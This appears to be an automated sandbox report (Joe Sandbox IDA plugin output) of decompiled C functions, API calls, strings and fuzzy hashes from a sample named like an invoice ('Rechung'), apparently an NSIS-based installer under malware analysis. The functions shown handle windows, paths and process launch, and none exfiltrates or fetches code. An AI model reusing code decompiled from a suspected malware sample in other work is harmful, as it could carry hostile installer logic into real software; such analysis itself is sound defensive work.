Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: a721b13396edb668927afc16ec6714304bff5843657eea2341aba1f0f94b3e85
Instruction ID: e59333b35207274dfa12745fa15a0a2b1e84881af2dc0bba7fa0e94120285970
Opcode Fuzzy Hash: a721b13396edb668927afc16ec6714304bff5843657eea2341aba1f0f94b3e85
Instruction Fuzzy Hash: AD11EB73A441283BDB00A66D9C45E9E3298DB85374F250237FE26F21D1DD78C82286E8

Uniqueness

Uniqueness Score: -1.00%

Function 00401C19 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401C19(intOrPtr __edx) {
				int _t29;
				long _t30;
				signed int _t32;
				WCHAR* _t35;
				long _t36;
				int _t41;
				signed int _t42;
				int _t46;
				int _t56;
				intOrPtr _t57;
				struct HWND__* _t61;
				void* _t64;

				_t57 = __edx;
				_t29 = E00402C15(3);
				 *((intOrPtr*)(_t64 - 0x4c)) = _t57;
				 *(_t64 - 0x10) = _t29;
				_t30 = E00402C15(4);
				 *((intOrPtr*)(_t64 - 0x4c)) = _t57;
				 *(_t64 + 8) = _t30;
				if(( *(_t64 - 0x14) & 0x00000001) != 0) {
					 *((intOrPtr*)(__ebp - 0x10)) = E00402C37(0x33);
				}
				__eflags =  *(_t64 - 0x14) & 0x00000002;
				if(( *(_t64 - 0x14) & 0x00000002) != 0) {
					 *(_t64 + 8) = E00402C37(0x44);
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x2c)) - 0x21;
				_push(1);
				if(__eflags != 0) {
					_t59 = E00402C37();
					_t32 = E00402C37();
					asm("sbb ecx, ecx");
					asm("sbb eax, eax");
					_t35 =  ~( *_t31) & _t59;
					__eflags = _t35;
					_t36 = FindWindowExW( *(_t64 - 0x10),  *(_t64 + 8), _t35,  ~( *_t32) & _t32);
					goto L10;
				} else {
					_t61 = E00402C15();
					 *((intOrPtr*)(_t64 - 0x4c)) = _t57;
					_t41 = E00402C15(2);
					 *((intOrPtr*)(_t64 - 0x4c)) = _t57;
					_t56 =  *(_t64 - 0x14) >> 2;
					if(__eflags == 0) {
						_t36 = SendMessageW(_t61, _t41,  *(_t64 - 0x10),  *(_t64 + 8));
						L10:
						 *(_t64 - 0x30) = _t36;
					} else {
						_t42 = SendMessageTimeoutW(_t61, _t41,  *(_t64 - 0x10),  *(_t64 + 8), _t46, _t56, _t64 - 0x30);
						asm("sbb eax, eax");
						 *((intOrPtr*)(_t64 - 4)) =  ~_t42 + 1;
					}
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x28)) - _t46;
				if( *((intOrPtr*)(_t64 - 0x28)) >= _t46) {
					_push( *(_t64 - 0x30));
					E004061A6();
				}
				 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t64 - 4));
				return 0;
			}

0x00401c19
0x00401c1b
0x00401c22
0x00401c25
0x00401c28
0x00401c32
0x00401c36
0x00401c39
0x00401c42
0x00401c42
0x00401c45
0x00401c49
0x00401c52
0x00401c52
0x00401c55
0x00401c59
0x00401c5b
0x00401cb0
0x00401cb2
0x00401cbd
0x00401cc7
0x00401cca
0x00401cca
0x00401cd3
0x00000000
0x00401c5d
0x00401c64
0x00401c66
0x00401c69
0x00401c6f
0x00401c76
0x00401c79
0x00401ca1
0x00401cd9
0x00401cd9
0x00401c7b
0x00401c89
0x00401c91
0x00401c94
0x00401c94
0x00401c79
0x00401cdc
0x00401cdf
0x00401ce5
0x00402a65
0x00402a65
0x00402ac2
0x00402ace

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C89
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA1

Strings

!, xrefs: 00401C55

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 6465c28e5c943a4eb7eb01deaa6dcd84e082ef29e74d6367337f5043b789c329
Instruction ID: 77761fc61529e842a28ee3ca09cff7144389c8643cc82091ff338806125a9860
Opcode Fuzzy Hash: 6465c28e5c943a4eb7eb01deaa6dcd84e082ef29e74d6367337f5043b789c329
Instruction Fuzzy Hash: 9121C1B1948209AEEF05AFA5CE4AABE7BB4EF84308F14443EF502F61D0D7B84541DB18

Uniqueness

Uniqueness Score: -1.00%

Function 00405BDB Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405BDB(WCHAR* _a4) {
				WCHAR* _t5;
				short* _t7;
				WCHAR* _t10;
				short _t11;
				WCHAR* _t12;
				void* _t14;

				_t12 = _a4;
				_t10 = CharNextW(_t12);
				_t5 = CharNextW(_t10);
				_t11 =  *_t12;
				if(_t11 == 0 ||  *_t10 != 0x3a || _t10[1] != 0x5c) {
					if(_t11 != 0x5c || _t12[1] != _t11) {
						L10:
						return 0;
					} else {
						_t14 = 2;
						while(1) {
							_t14 = _t14 - 1;
							_t7 = E00405B5D(_t5, 0x5c);
							if( *_t7 == 0) {
								goto L10;
							}
							_t5 = _t7 + 2;
							if(_t14 != 0) {
								continue;
							}
							return _t5;
						}
						goto L10;
					}
				} else {
					return CharNextW(_t5);
				}
			}

0x00405be4
0x00405beb
0x00405bee
0x00405bf0
0x00405bf6
0x00405c0e
0x00405c30
0x00000000
0x00405c16
0x00405c18
0x00405c19
0x00405c1c
0x00405c1d
0x00405c26
0x00000000
0x00000000
0x00405c29
0x00405c2c
0x00000000
0x00000000
0x00000000
0x00405c2c
0x00000000
0x00405c19
0x00405c05
0x00000000
0x00405c06

APIs

CharNextW.USER32(?,?,Regnskovsomraader\calipering.Gyr,?,00405C4F,Regnskovsomraader\calipering.Gyr,Regnskovsomraader\calipering.Gyr,?,?,764E3420,0040598D,?,C:\Users\user\AppData\Local\Temp\,764E3420,00000000), ref: 00405BE9
CharNextW.USER32(00000000), ref: 00405BEE
CharNextW.USER32(00000000), ref: 00405C06

Strings

Regnskovsomraader\calipering.Gyr, xrefs: 00405BDC

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: CharNext
String ID: Regnskovsomraader\calipering.Gyr
API String ID: 3213498283-3522091761
Opcode ID: aebd7a4b5de8b759b0e4f0e56dc0d79cfb69ab96c88f82fda94e21a8a16d65f8
Instruction ID: 1410c8af8588119ed7c7bec0a33194e6879e2746ee2e5cb83f2c5ed70d44d846
Opcode Fuzzy Hash: aebd7a4b5de8b759b0e4f0e56dc0d79cfb69ab96c88f82fda94e21a8a16d65f8
Instruction Fuzzy Hash: 26F09022918B2D95FF3177584C55E7766B8EB55760B00803BE641B72C0D3F85C818EAA

Uniqueness

Uniqueness Score: -1.00%

Function 00405B30 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00405B30(WCHAR* _a4) {
				WCHAR* _t9;

				_t9 = _a4;
				_push( &(_t9[lstrlenW(_t9)]));
				_push(_t9);
				if( *(CharPrevW()) != 0x5c) {
					lstrcatW(_t9, 0x40a014);
				}
				return _t9;
			}

0x00405b31
0x00405b3e
0x00405b3f
0x00405b4a
0x00405b52
0x00405b52
0x00405b5a

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040333D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,764E3420,0040359C,?,00000006,00000008,0000000A), ref: 00405B36
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040333D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,764E3420,0040359C,?,00000006,00000008,0000000A), ref: 00405B40
lstrcatW.KERNEL32(?,0040A014), ref: 00405B52

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405B30

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3355392842
Opcode ID: 2d89e3346713fcbf25affea4869717dbbf7bb0cb650dc976aff6b925dbbb9e25
Instruction ID: 96ba7b99f7925edb235d18d004fc1fe51c5fb87b1b333c4bf7b8a2937e57358f
Opcode Fuzzy Hash: 2d89e3346713fcbf25affea4869717dbbf7bb0cb650dc976aff6b925dbbb9e25
Instruction Fuzzy Hash: 44D05E21101924AAC1117B448C04EDF72ACAE45344342007AF241B30A1CB78295286FD

Uniqueness

Uniqueness Score: -1.00%

Function 00402E5D Relevance: 6.0, APIs: 4, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402E5D(intOrPtr _a4) {
				long _t2;
				struct HWND__* _t3;
				struct HWND__* _t6;

				if(_a4 == 0) {
					__eflags =  *0x7976d8; // 0x0
					if(__eflags == 0) {
						_t2 = GetTickCount();
						__eflags = _t2 -  *0x7a8a30;
						if(_t2 >  *0x7a8a30) {
							_t3 = CreateDialogParamW( *0x7a8a20, 0x6f, 0, E00402DD7, 0);
							 *0x7976d8 = _t3;
							return ShowWindow(_t3, 5);
						}
						return _t2;
					} else {
						return E00406675(0);
					}
				} else {
					_t6 =  *0x7976d8; // 0x0
					if(_t6 != 0) {
						_t6 = DestroyWindow(_t6);
					}
					 *0x7976d8 = 0;
					return _t6;
				}
			}

0x00402e64
0x00402e7e
0x00402e84
0x00402e8e
0x00402e94
0x00402e9a
0x00402eab
0x00402eb4
0x00000000
0x00402eb9
0x00402ec0
0x00402e86
0x00402e8d
0x00402e8d
0x00402e66
0x00402e66
0x00402e6d
0x00402e70
0x00402e70
0x00402e76
0x00402e7d
0x00402e7d

APIs

DestroyWindow.USER32(00000000,00000000,0040303D,00000001,?,00000006,00000008,0000000A), ref: 00402E70
GetTickCount.KERNEL32 ref: 00402E8E
CreateDialogParamW.USER32(0000006F,00000000,00402DD7,00000000), ref: 00402EAB
ShowWindow.USER32(00000000,00000005,?,00000006,00000008,0000000A), ref: 00402EB9

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: fb346d16a057b98ea5efc0227cce21c5f766e4cb6d5f8b71d3ef2c60fce90910
Instruction ID: 7afe0c5cdde3553510745d2e994aff72f2021582eecc7c7a9da0eee8c5fdd21f
Opcode Fuzzy Hash: fb346d16a057b98ea5efc0227cce21c5f766e4cb6d5f8b71d3ef2c60fce90910
Instruction Fuzzy Hash: B3F05E30966A21EBC6616B24FE8C99B7B64AB44B41B15887BF041B11B8DA784891CBDC

Uniqueness

Uniqueness Score: -1.00%

Function 00405C38 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47
stringCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00405C38(void* __eflags, intOrPtr _a4) {
				int _t11;
				signed char* _t12;
				intOrPtr _t18;
				intOrPtr* _t21;
				signed int _t23;

				E0040625F(0x7a4728, _a4);
				_t21 = E00405BDB(0x7a4728);
				if(_t21 != 0) {
					E004064F3(_t21);
					if(( *0x7a8a3c & 0x00000080) == 0) {
						L5:
						_t23 = _t21 - 0x7a4728 >> 1;
						while(1) {
							_t11 = lstrlenW(0x7a4728);
							_push(0x7a4728);
							if(_t11 <= _t23) {
								break;
							}
							_t12 = E004065A2();
							if(_t12 == 0 || ( *_t12 & 0x00000010) != 0) {
								E00405B7C(0x7a4728);
								continue;
							} else {
								goto L1;
							}
						}
						E00405B30();
						return 0 | GetFileAttributesW(??) != 0xffffffff;
					}
					_t18 =  *_t21;
					if(_t18 == 0 || _t18 == 0x5c) {
						goto L1;
					} else {
						goto L5;
					}
				}
				L1:
				return 0;
			}

0x00405c44
0x00405c4f
0x00405c53
0x00405c5a
0x00405c66
0x00405c76
0x00405c78
0x00405c90
0x00405c91
0x00405c98
0x00405c99
0x00000000
0x00000000
0x00405c7c
0x00405c83
0x00405c8b
0x00000000
0x00000000
0x00000000
0x00000000
0x00405c83
0x00405c9b
0x00000000
0x00405caf
0x00405c68
0x00405c6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00405c6e
0x00405c55
0x00000000

APIs

Part of subcall function 0040625F: lstrcpynW.KERNEL32(?,?,00000400,00403421,Susans,NSIS Error,?,00000006,00000008,0000000A), ref: 0040626C

Part of subcall function 00405BDB: CharNextW.USER32(?,?,Regnskovsomraader\calipering.Gyr,?,00405C4F,Regnskovsomraader\calipering.Gyr,Regnskovsomraader\calipering.Gyr,?,?,764E3420,0040598D,?,C:\Users\user\AppData\Local\Temp\,764E3420,00000000), ref: 00405BE9
Part of subcall function 00405BDB: CharNextW.USER32(00000000), ref: 00405BEE
Part of subcall function 00405BDB: CharNextW.USER32(00000000), ref: 00405C06

lstrlenW.KERNEL32(Regnskovsomraader\calipering.Gyr,00000000,Regnskovsomraader\calipering.Gyr,Regnskovsomraader\calipering.Gyr,?,?,764E3420,0040598D,?,C:\Users\user\AppData\Local\Temp\,764E3420,00000000), ref: 00405C91
GetFileAttributesW.KERNEL32(Regnskovsomraader\calipering.Gyr,Regnskovsomraader\calipering.Gyr,Regnskovsomraader\calipering.Gyr,Regnskovsomraader\calipering.Gyr,Regnskovsomraader\calipering.Gyr,Regnskovsomraader\calipering.Gyr,00000000,Regnskovsomraader\calipering.Gyr,Regnskovsomraader\calipering.Gyr,?,?,764E3420,0040598D,?,C:\Users\user\AppData\Local\Temp\,764E3420), ref: 00405CA1

Strings

Regnskovsomraader\calipering.Gyr, xrefs: 00405C3E, 00405C43, 00405C49, 00405C8A, 00405C90, 00405C98, 00405CA0

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: Regnskovsomraader\calipering.Gyr
API String ID: 3248276644-3522091761
Opcode ID: 2fc0a06e40463135d25c9bc8da77120e69662948dae603a13584a31230773222
Instruction ID: 07588a96ba491492048338639ced47dd8f75e02a3aa2c86f807570fea5ede87b
Opcode Fuzzy Hash: 2fc0a06e40463135d25c9bc8da77120e69662948dae603a13584a31230773222
Instruction Fuzzy Hash: 3FF0D125008F1115E72233361D49EAF2664CE96360B1A023FF952B12D1DB3C99939C6E

Uniqueness

Uniqueness Score: -1.00%

Function 00405237 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E00405237(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				int _t15;
				long _t16;

				_t15 = _a8;
				if(_t15 != 0x102) {
					if(_t15 != 0x200) {
						_t16 = _a16;
						L7:
						if(_t15 == 0x419 &&  *0x7a1f0c != _t16) {
							_push(_t16);
							_push(6);
							 *0x7a1f0c = _t16;
							E00404C0D();
						}
						L11:
						return CallWindowProcW( *0x7a1f14, _a4, _t15, _a12, _t16);
					}
					if(IsWindowVisible(_a4) == 0) {
						L10:
						_t16 = _a16;
						goto L11;
					}
					_t16 = E00404B8D(_a4, 1);
					_t15 = 0x419;
					goto L7;
				}
				if(_a12 != 0x20) {
					goto L10;
				}
				E00404240(0x413);
				return 0;
			}

0x0040523b
0x00405245
0x00405261
0x00405283
0x00405286
0x0040528c
0x00405296
0x00405297
0x00405299
0x0040529f
0x0040529f
0x004052a9
0x00000000
0x004052b7
0x0040526e
0x004052a6
0x004052a6
0x00000000
0x004052a6
0x0040527a
0x0040527c
0x00000000
0x0040527c
0x0040524b
0x00000000
0x00000000
0x00405252
0x00000000

APIs

IsWindowVisible.USER32(?), ref: 00405266
CallWindowProcW.USER32(?,?,?,?), ref: 004052B7

Part of subcall function 00404240: SendMessageW.USER32(00010424,00000000,00000000,00000000), ref: 00404252

Strings

, xrefs: 00405247

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 03dbe0d26460962354df2622affe4a7f19e46f8d18e7fde011b494353cd470c5
Instruction ID: 5e04443d83733b215e2c60cf409d87083b19ce8acf9f2344b17a5e906d0b9b78
Opcode Fuzzy Hash: 03dbe0d26460962354df2622affe4a7f19e46f8d18e7fde011b494353cd470c5
Instruction Fuzzy Hash: E7017C31500608AFEF209F52DD81AAB3725EF95755F10407FFA00B61D0D73E9C919E69

Uniqueness

Uniqueness Score: -1.00%

Function 00405844 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405844(WCHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				int _t7;

				0x7a4f28->cb = 0x44;
				_t7 = CreateProcessW(0, _a4, 0, 0, 0, 0x4000000, 0, 0, 0x7a4f28,  &_v20);
				if(_t7 != 0) {
					CloseHandle(_v20.hThread);
					return _v20.hProcess;
				}
				return _t7;
			}

0x0040584d
0x0040586d
0x00405875
0x0040587a
0x00000000
0x00405880
0x00405884

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,007A4F28,Error launching installer), ref: 0040586D
CloseHandle.KERNEL32(?), ref: 0040587A

Strings

Error launching installer, xrefs: 00405857

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: c1804180a416b962a28ecbb96a8e49de5f878aa0b2aa8e9b50c45ca8c4f376c1
Instruction ID: aeed2aac7dae16331184000a6a76f50175ec0d5b09d6907c0601aa480b830b3a
Opcode Fuzzy Hash: c1804180a416b962a28ecbb96a8e49de5f878aa0b2aa8e9b50c45ca8c4f376c1
Instruction Fuzzy Hash: A0E0BFF5500209BFEB009F64ED05E7B76ACEB54645F018525BD50F2190D67999148A78

Uniqueness

Uniqueness Score: -1.00%

Function 004038D8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004038D8() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t8;

				_t8 =  *0x79fee4; // 0xa92150
				_t3 = E004038BD(_t2, 0);
				if(_t8 != 0) {
					do {
						_t6 = _t8;
						_t8 =  *_t8;
						_t1 = _t6 + 8; // 0x10000000
						FreeLibrary( *_t1);
						_t3 = GlobalFree(_t6);
					} while (_t8 != 0);
				}
				 *0x79fee4 =  *0x79fee4 & 0x00000000;
				return _t3;
			}

0x004038d9
0x004038e1
0x004038e8
0x004038eb
0x004038eb
0x004038ed
0x004038ef
0x004038f2
0x004038f9
0x004038ff
0x00403903
0x00403904
0x0040390c

APIs

FreeLibrary.KERNEL32(10000000,C:\Users\user\AppData\Local\Temp\,00000000,764E3420,004038B0,004036C6,00000006,?,00000006,00000008,0000000A), ref: 004038F2
GlobalFree.KERNEL32(00A92150), ref: 004038F9

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004038EA

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
